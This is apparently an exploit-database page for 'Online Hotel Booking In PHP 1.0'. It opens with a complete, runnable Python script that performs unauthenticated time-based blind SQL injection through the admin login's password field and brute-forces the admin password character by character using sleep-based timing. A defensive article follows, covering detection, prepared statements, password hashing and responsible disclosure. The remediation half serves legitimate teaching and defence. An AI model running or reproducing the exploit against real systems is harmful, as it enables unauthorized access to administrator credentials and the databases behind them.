Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated)

Exploit Author: Gian Paris C. Agsam Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-04-02
# Exploit Title:  Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated)
# Google Dork: n/a
# Date: 04/02/2024
# Exploit Author: Gian Paris C. Agsam
# Vendor Homepage: https://github.com/projectworldsofficial
# Software Link: https://projectworlds.in/wp-content/uploads/2019/06/hotel-booking.zip
# Version: 1.0
# Tested on: Apache/2.4.58 (Debian) / PHP 8.2.12
# CVE : n/a

import requests
import argparse
from colorama import (Fore as F, Back as B, Style as S)

BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB,FW = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT,F.WHITE

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

parser = argparse.ArgumentParser(description='Exploit Blind SQL Injection')
parser.add_argument('-u', '--url', help='')
args = parser.parse_args()


def banner():
    print(f"""{FR}
      ·▄▄▄·▄▄▄.▄▄ · ▄▄▄ . ▄▄· ·▄▄▄▄  ▄▄▄        ▪  ·▄▄▄▄  
▪     ▐▄▄·▐▄▄·▐█ ▀. ▀▄.▀·▐█ ▌▪██▪ ██ ▀▄ █·▪     ██ ██▪ ██ 
 ▄█▀▄ ██▪ ██▪ ▄▀▀▀█▄▐▀▀▪▄██ ▄▄▐█· ▐█▌▐▀▀▄  ▄█▀▄ ▐█·▐█· ▐█▌
▐█▌.▐▌██▌.██▌.▐█▄▪▐█▐█▄▄▌▐███▌██. ██ ▐█•█▌▐█▌.▐▌▐█▌██. ██ 
 ▀█▄▀▪▀▀▀ ▀▀▀  ▀▀▀▀  ▀▀▀ ·▀▀▀ ▀▀▀▀▀• .▀  ▀ ▀█▄▀▪▀▀▀▀▀▀▀▀• 
        Github: https://github.com/offensive-droid 
        {FW}
    """)


# Define the characters to test
chars = [
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
    'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D',
    'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',
    'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9', '@', '#'
]

def sqliPayload(char, position, userid, column, table):
    sqli = 'admin\' UNION SELECT IF(SUBSTRING('
    sqli += str(column) + ','
    sqli += str(position) + ',1) = \''
    sqli += str(char) + '\',sleep(3),null) FROM '
    sqli += str(table) + ' WHERE uname="admin"\''
    return sqli

def postRequest(URL, sqliReq, char, position):
    sqliURL = URL
    params = {"emailusername": "admin", "password": sqliReq, "submit": "Login"}
    req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies, timeout=10)
    if req.elapsed.total_seconds() >= 2:
        print("{} : {}".format(char, req.elapsed.total_seconds()))
        return char

    return ''

def theHarvester(target, CHARS, url):
    #print("Retrieving: {} {} {}".format(target['table'], target['column'], target['id']))
    print("Retrieving admin password".format(target['table'], target['column'], target['id']))
    position = 1
    full_pass = ""
    while position < 5:
        for char in CHARS:
            sqliReq = sqliPayload(char, position, target['id'], target['column'], target['table'])
            found_char = postRequest(url, sqliReq, char, position)
            full_pass += found_char
        position += 1
    return full_pass

if __name__ == "__main__":
    banner()
    HOST = str(args.url)
    PATH = HOST + "/hotel booking/admin/login.php"
    adminPassword = {"id": "1", "table": "manager", "column": "upass"}
    adminPass = theHarvester(adminPassword, chars, PATH)
    print("Admin Password:", adminPass)


Online Hotel Booking In PHP 1.0 — Blind SQL Injection (Unauthenticated): Analysis, Detection and Remediation

This article analyses a reported unauthenticated blind SQL injection issue affecting an example "Online Hotel Booking In PHP 1.0" application, explains the underlying concepts of time‑based blind SQL injection at a high level, describes likely root causes, and gives practical, developer‑focused remediation steps and detection strategies. The goal is defensive: to help developers, maintainers and security teams understand risk and apply safe fixes and controls.

Summary of the Issue (high level)

In the affected application, attacker‑controlled input is used to build SQL statements without proper parameterization or sanitization. An unauthenticated attacker can send payloads that cause the database to behave differently depending on a boolean condition (for example, delaying the response). Those timing differences allow an attacker to infer data (such as usernames or passwords) even when the application does not return error messages or query output directly. This is commonly called time‑based blind SQL injection.

What is time‑based blind SQL injection?

  • Blind SQL injection means the application does not return database query output directly (no visible errors or results), but the database and application responses still leak information.
  • Time‑based techniques use deliberate delays (for example, database sleep or wait functions) to differentiate true/false conditions by measuring response times. If the condition is true the response is slow; if false it is fast. Repeating this binary test yields information bit by bit.
  • This technique is powerful against login pages and other endpoints where the application intentionally suppresses detailed database output.

Why the application was likely vulnerable

  • SQL statements built by concatenating or interpolating user input (for example, directly inserting username/password form fields into a query string).
  • Plaintext or weakly stored passwords (no strong hashing), increasing the impact if an attacker extracts values.
  • Excessive database privileges granted to the web application account, enabling functions that can be abused for timing or data leaks.

Potential impact

  • Exposure of credentials (admin or other users).
  • Full database disclosure, modification, or deletion if the injection can be escalated.
  • Persistence mechanisms, lateral movement, or supply‑chain compromise for higher‑value targets.

Safe testing and responsible disclosure

  • Only perform active testing on systems you own or have explicit authorization to test (written permission or engagement contract).
  • Use non‑destructive tests and rate limits. Avoid long‑running loops, large data exfiltration attempts, or automated tools against production without coordination.
  • If you find a vulnerability, follow a responsible disclosure policy: contact the vendor/maintainer, provide reproduction steps, and allow reasonable time to patch before public disclosure.

Indicators of compromise and detection strategies

  • Unusual spikes in response times from specific endpoints (login, search, filters) correlated with single IPs or short intervals.
  • Repeated requests that differ only by small changes in parameters (patterned requests testing characters/positions).
  • Database or webserver logs showing many requests to the same script (login.php) or many similar parameter values close together.
  • Alerts from WAF/IDS for query patterns or high entropy parameter values.

Recommended mitigations — secure coding and configuration

Fixing this class of vulnerability requires addressing both code and environment. The most important defensive measures:

  • Use parameterized queries (prepared statements) for all database access. Never concatenate user input into SQL.
  • Store passwords using a secure one‑way hashing function (bcrypt, Argon2) with per‑user salts (use PHP's password_hash / password_verify APIs).
  • Apply the principle of least privilege: grant the web application database account only the permissions it needs.
  • Implement centralized input validation and canonicalization, but do not rely on validation alone to prevent SQL injection — use parameterization.
  • Limit slow or blocking database functions where possible, and monitor for their usage.
  • Deploy WAF rules tuned to detect common injection patterns and anomalous request patterns; tune to reduce false positives.
  • Log and alert on unusual timing anomalies and repeated patterned requests to sensitive endpoints.

Secure PHP example — login using PDO and password_hash

<?php
// Secure PDO connection (use environment variables or config outside webroot)
$dsn = 'mysql:host=localhost;dbname=hotel;charset=utf8mb4';
$user = 'app_user';
$pass = 'app_pass';
$options = [
  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];
$pdo = new PDO($dsn, $user, $pass, $options);

// Secure login handler: bind parameters and verify hashed password
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $username = $_POST['emailusername'] ?? '';
  $password = $_POST['password'] ?? '';

  $stmt = $pdo->prepare('SELECT upass FROM manager WHERE uname = :uname LIMIT 1');
  $stmt->execute([':uname' => $username]);
  $row = $stmt->fetch();

  if ($row && password_verify($password, $row['upass'])) {
    // Successful auth: create session, regenerate ID
    session_start();
    session_regenerate_id(true);
    $_SESSION['user'] = $username;
    // redirect to admin area
  } else {
    // Generic error: avoid leaking whether username exists
  }
}
?>

Explanation: This code uses PDO prepared statements and bound parameters so user input never gets concatenated into SQL. The database returns a stored password hash, which is verified using password_verify. The login flow uses generic error messages and standard session hygiene. Storing passwords should be done with password_hash when creating accounts or migrating existing plaintext values.

Example: register / migrate passwords with strong hashing

<?php
// When creating/updating a password
$rawPassword = 'userSuppliedPassword';
$hash = password_hash($rawPassword, PASSWORD_DEFAULT); // bcrypt or Argon2 depending on PHP build

// Store $hash into upass column via prepared statement
$stmt = $pdo->prepare('UPDATE manager SET upass = :hash WHERE uname = :uname');
$stmt->execute([':hash' => $hash, ':uname' => $username]);
?>

Explanation: password_hash selects a safe algorithm and includes a salt. Use password_needs_rehash during login to transparently upgrade hashes if you change algorithms or options in the future.

Additional hardening recommendations

  • Restrict the database user: avoid granting permissions such as SUPER or FILE unless absolutely necessary. Prefer a user limited to SELECT/INSERT/UPDATE on required tables.
  • Remove or restrict database functions that permit server-side delays or external calls when they are not needed; monitor their usage.
  • Rate limit authentication endpoints and implement progressive delays or account lockouts for repeated failures.
  • Adopt an application security testing program: include static analysis, dependency scanning, and routine dynamic scans (in authorized contexts).
  • Consider using an ORM or database abstraction layer that encourages safe patterns, but still use prepared statements for raw queries.

Detecting blind SQLi safely

  • Behavioral baselining: monitor average response times for endpoints and alert on deviations.
  • WAF/IDS: enable detection for repeated boolean‑style probes and time‑anomaly indicators.
  • Code reviews: look for unsafe patterns (string concatenation of request params in SQL) and missing prepared statements.
  • Authorized pentesting: perform controlled tests in staging environments and use low‑impact techniques; avoid exfiltrating real user data during tests.

Operational checklist for maintainers

Task Why
Replace concatenated SQL with prepared statements Eliminates primary injection vector
Hash all stored passwords with password_hash Protects credentials even if DB is leaked
Restrict DB user privileges Limits impact of a compromised app
Enable detailed logging and alerts Faster detection of exploitation attempts
Perform regular authorized security testing Find regressions before attackers do

Responsible disclosure and follow‑up

If you are a researcher who discovered this class of issue in a third‑party application, follow these steps:

  • Document your findings and provide clear reproduction steps, but do not publish exploit code or exfiltrated data publicly until the vendor has had time to remediate.
  • Contact the vendor or project maintainers privately with the impact, suggested fixes, and timelines for remediation.
  • If no response is received, follow any published security policy for escalation or coordinate with a CERT for mediation.

Closing notes

Time‑based blind SQL injection remains a high‑impact vulnerability when input is used to build SQL queries directly. The most reliable prevention is parameterized queries plus secure password storage and least privilege for database access. Combined with monitoring, rate limiting and a responsible security lifecycle, these measures will dramatically reduce the risk from this and similar injection classes.